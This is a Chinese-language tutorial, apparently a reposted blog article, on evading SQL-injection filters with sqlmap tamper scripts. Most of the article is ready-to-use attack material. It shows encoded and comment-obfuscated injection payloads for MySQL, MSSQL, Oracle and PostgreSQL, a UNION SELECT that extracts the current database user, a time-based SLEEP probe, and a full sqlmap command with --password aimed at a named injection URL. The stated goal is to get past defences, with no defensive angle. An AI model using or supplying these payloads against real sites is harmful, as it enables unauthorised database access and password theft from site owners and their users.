SQLMAP繞過SQL注入限制

前言:
SQL注入***是***對數據庫進行***的常用手段之一。隨着B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據。
然而隨着SQL注入***的高潮過後,越來越多的安全人員想出了防止SQL***的方式,例如利用instr()函數,過濾注入關鍵字等等的方法。所以如何繞過這些防止***的手段,是目前的安全研究人員們的常規研究方向。

關於SQLMAP:
Sqlmap是一款開源的命令行自動SQL注入工具。它由Bernardo Damele A.G.和Daniele Bellucci以GNU GPLv2許可證方式發佈,可從http://sqlmap.sourceforge.net上下載。
Sqlmap用Python開發而成,這使得它能夠獨立於底層的操作系統,而只需2.4或之後版本的Python解釋器即可。爲了使事情更容易,許多GNU/Linux在發佈時都創新性地附帶安裝了Python解釋器包。Windows、UNIX和Mac OSX也均有提供或者可免費獲取。

今天我來說說如何繞過注入限制。

MYSQL BYPASS

腳本:space2hash.py含有免殺功能,對於MYSQL數據庫 4.0、5.0注入
例子:
* 注入語句:1 AND 9227=9227
* 替換成爲:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

腳本: space2morehash.py含有免殺功能,對於MYSQL數據庫 >= 5.1.13 和 MySQL 5.1.41 注入
例子:
* 注入語句:1 AND 9227=9227
* 替換成爲:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

如何使用這些BYPASS繞過腳本? 你可以用SQLMAP的 --tamper 參數。
一個注入點:http://sql.dis9.com/sql.php?id=1 我們首先判斷他數據庫的版本

1.png

然後選擇對於版本的bypass腳本進行使用,我們來嘗試一下::

2.png

看圖片的註釋,提示版本錯誤,我們來換個BYPASS腳本,使用space2dash.py試試。
這個是SQLite數據庫和MYSQL數據庫的,例子:
* 注入語句:1 AND 9227=9227
* 輸出:1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227

嘗試一下,看下圖,PAYLOAD已經被編碼:
sqlmap -u "http://sql.dis9.com/sql.php?id=1" -v 3 --password --batch --tamper "space2dash.py"

3.png

換個編碼吧,換encodes編碼:charencode.py
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
* 注入語句:SELECT FIELD FROM%20TABLE
* 替換爲:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

4.png

base64編碼腳本:base64encode.py
* 注入語句:1' AND SLEEP(5)#
* 替換爲:MScgQU5EIFNMRUVQKDUpIw==

替換空格和關鍵字 :halfversionedmorekeywords.py
* 注入語句:
1value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa

 * 替換成:

1value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa


其他類型數據庫看官網介紹吧:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/
MSSQL等等的都有,自己發揮吧。

5.png

原文地址,聽潮社區http://www.f4ck.org/article-2183-1.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章